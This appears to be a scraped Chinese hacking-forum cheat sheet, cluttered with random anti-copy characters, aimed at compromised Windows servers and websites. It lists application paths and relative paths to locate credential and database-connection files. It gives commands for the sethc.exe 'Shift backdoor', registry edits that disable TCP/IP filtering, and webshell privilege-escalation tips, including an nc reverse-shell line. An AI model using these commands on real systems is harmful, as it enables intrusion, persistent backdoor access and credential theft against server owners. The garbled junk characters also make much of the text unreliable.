c:\Program Files\Tencent\qq2010\bin\qq.exe
. q4 ^$ j9 Z5 F+ o2 q5 P& i8 bc:\Program Files\Tencent\qq\Users\All Users\Registry.db
- ]8 _/ g& C! A; G" h) mC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
% R& D5 K& Q2 G" I' |9 C& s; Q/ C8 @3 \c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
; \& {3 x9 l3 e$ uc:\Program Files\Tencent\RTXServer\AppConfig.xml
+ o0 _* s! w6 j8 w! rC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
& q' y; ?9 J5 \4 K0 f, }( p0 ?9 ^$ CC:\Program Files\tencent\Foxmal\accounts.cfg
5 _1 J- S+ d9 uC:\Program Files\LeapFTP 3.0\LeapFTP.exe
& U' g) H  h0 J8 ]+ S0 A' DC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
& u. r8 f1 c0 \; L: E9 q) Q) {+ wc:\Program Files\Oracle\bin\regsvr32.exe
! D7 S+ F/ e4 T& F( ]( O# A9 rc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
4 c( y& V9 w$ H% T  y. J9 vc:\Program Files\tencent\QQGAME\readme.txt
( y- Q* l9 c. x9 h0 t. mC:\Program Files\StormII\Storm.exe

8 G0 S; M! R3 O5 N# S- a' ]! x3.网站相对路径:
; h$ q( i7 L6 }
; t5 N; ^9 p- S& l' x/config.php
../../config.php
../config.php
; B* K+ d1 P& c" d( g../../../config.php
  a  M! j( V  y1 d: S) o" f9 w/config.inc.php
, }5 J2 X0 U# L3 J" z./config.inc.php
: W, Z% r3 A* l$ r- q5 D../../config.inc.php
, y0 N- s+ K: u& L4 t# q" U../config.inc.php
../../../config.inc.php
7 {8 g/ |5 @  R/conn.php
./conn.php
../../conn.php
../conn.php
0 a9 m9 Y2 B6 m# y7 E../../../conn.php
/conn.asp
9 \9 M' z1 R" K7 [: k. r( b7 y8 S2 U./conn.asp
( M. N! M# l$ |' v../../conn.asp
: ^+ L7 p1 ]$ E, M0 R3 g- W../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
! u) N; P# V5 R% a% r: w3 C6 G0 c../../config.inc.php
% |; ^/ V6 `3 s  `0 x" N../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
  o5 K" l; g3 r% A9 [0 h! V. i: Q../config/config.php
../../../config/config.php
/config/config.inc.php
' I3 c3 L5 ]; j. W7 L" o6 O- }./config/config.inc.php
4 H9 x9 T$ L" q  p# |+ B../../config/config.inc.php
../config/config.inc.php
2 V# `/ V5 M3 ~2 p' G' ?../../../config/config.inc.php
+ ^* P& A. G7 b6 n2 ]/config/conn.php
./config/conn.php
  o1 G' v% W# o4 j% P( M../../config/conn.php
9 h' X' Z" c) u" o../config/conn.php
* j  I! j& z- i, D7 M6 g$ R../../../config/conn.php
! v7 P; c2 Q  Y% v6 w% \/config/conn.asp
" k3 I& ]+ p  C& ^: h7 n0 w3 {% M8 V./config/conn.asp
0 g( l$ ~) C+ [; D0 @../../config/conn.asp
9 u" q/ ]( \' p; g' v6 s, A- h5 S../config/conn.asp
$ W, Z% y3 {. u% l! H' h; U/ Y  w../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
" ?: \1 ]: X( g8 D. D../../config/config.inc.php
" m% m8 }9 `% W" H../config/config.inc.php
$ p0 l& y+ q7 c4 j../../../config/config.inc.php
& X3 V( l  p4 `5 v/data/config.php
6 c" |7 ^9 m9 c. w3 F../../data/config.php
../data/config.php
& B, e) O% J. T3 V' b' m3 _../../../data/config.php
/data/config.inc.php
./data/config.inc.php
$ D4 \2 V& o" y$ }. ]../../data/config.inc.php
( R1 `5 L2 |( O# A; U4 E8 D../data/config.inc.php
: X8 ~/ g* |6 y2 z../../../data/config.inc.php
; Q) y& p. \6 w/data/conn.php
./data/conn.php
. S- Q* s2 `% ]# O. [../../data/conn.php
../data/conn.php
../../../data/conn.php
2 W. f6 H- F5 w$ O1 o6 T7 L/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
# l0 P( U3 g' l../../../data/conn.asp
- c9 K2 @# L# L7 O& o3 l+ P& |/data/config.inc.php
7 g( Q7 N; P/ [- l2 L1 Z+ h. g./data/config.inc.php
) R7 @$ v  d2 R  p3 z1 A! ?" F# w../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
: |. |1 P& g# @7 @9 g+ R/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
& O/ a" V1 o' \4 N1 {./include/config.inc.php
: w3 L8 }6 i. O, M8 k+ Y../../include/config.inc.php
. O9 ^0 |1 y+ q. D  `0 N! o4 g2 j../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
- p( `2 }$ t- L; Q3 U- j./include/conn.php
../../include/conn.php
../include/conn.php
7 s2 P/ q( H7 J+ G% F& K! K../../../include/conn.php
/include/conn.asp
) u- c/ N/ L9 u./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
& o7 f# O2 [/ _/ I/ `../include/config.inc.php
- U7 ~. @. T7 k$ U8 B# e/ {3 l  D../../../include/config.inc.php
/inc/config.php
../../inc/config.php
' g1 k# _( n, F. s../inc/config.php
/ h- C! h" D( ^; O( L../../../inc/config.php
4 j; E  \4 m( L' n( }1 ]6 |/inc/config.inc.php
) V2 n4 }5 X2 I9 J+ c* }7 B! P./inc/config.inc.php
6 r' n3 ]& P3 }# `. Q../../inc/config.inc.php
0 e2 W$ e+ T$ e../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
  A+ i+ p# ~6 T6 {% o../../inc/conn.php
../inc/conn.php
9 l; z1 L6 ?4 v" R6 M../../../inc/conn.php
$ p3 T/ Y! L3 _/ E3 L6 Q8 H/inc/conn.asp
./inc/conn.asp
! m5 L4 Q$ |1 ^../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
: }* U; z$ w1 h% s" F& f* `9 M./inc/config.inc.php
. x, I2 u- o' \, Z5 T# }../../inc/config.inc.php
9 {  ?6 Z: f! `, q' j5 {../inc/config.inc.php
../../../inc/config.inc.php
/index.php
3 N! c' P0 e: U./index.php
* R7 K! p2 u% I3 T" B! ]* V../../index.php
+ f' G9 g+ l( {) _5 T0 J' `! p8 d../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
4 Q$ s, H0 j- j& s' S: F+ f# Y1 _../index.asp
, ~" k( w: L  K3 N- B4 {../../../index.asp
' s  f' l" ?" R" X' y- S: y  J替换SHIFT后门
! y4 |! d% t6 n3 j　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
7 u* o' z0 ^. Q5 N# }" ^
4 |3 k) S* U3 Y5 [3 k0 q9 a6 W. A　　del c:\windows\system32\sethc.exe
( C2 k% j+ Z/ e/ y  @- b
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

4 s% ?/ J( c! W7 f& }2 @　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
( E5 ]5 D5 _6 l) r
　　attrib c:\windows\system32\sethc.exe +h +r +s
  S+ n' V3 O3 @
# L( k' O% J: N! d) k: N　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
7 |4 Z* V1 w$ a6 c& u4 ~! c去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
: q# A+ v8 Z" {: @HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; s. @. L7 M" j' v1 z  Z0 NHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 J( ?' _, h  C" c1 V
分别用
* b; ^5 D+ {. X9 a/ H9 [regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 R) n8 }& {# o7 w) [3 Q( K) Wregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ g2 T$ U: S% |# c9 M命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

4 F8 y8 H+ O' W, A% n, t9 E再将以上三个文件分别用
2 j& }* O+ N- x0 M* v; B, N5 yregedit -s D:\a.reg
! h; X. g' F3 s) [! y! sregedit -s D:\b.reg
5 Y, K, a. W4 z; o: \7 {+ t, o* }regedit -s D:\c.reg
导入注册表即可
8 e/ `; Q( X; F- b' S5 W. S. z# X
1 `3 B: z% D; c+ r! Y. k, C- iwebshell提权小技巧
1 O- m' H/ i( r& J% b* |cmd路径:
5 G$ [* ?8 Z; K4 r$ O* Sc:\windows\temp\cmd.exe
6 s5 d& g" K) K$ u  Ync也在同目录下
7 S1 b0 C& ~6 c: E例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
/ y9 C7 f& a' F6 O. }# N
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
4 ?+ i. x$ k: V; Q# K* T命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
  b) ?# V1 X- m" I; |% E" C9 K这个不是重点
/ Y& B, x& t; N+ @1 S4 I我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功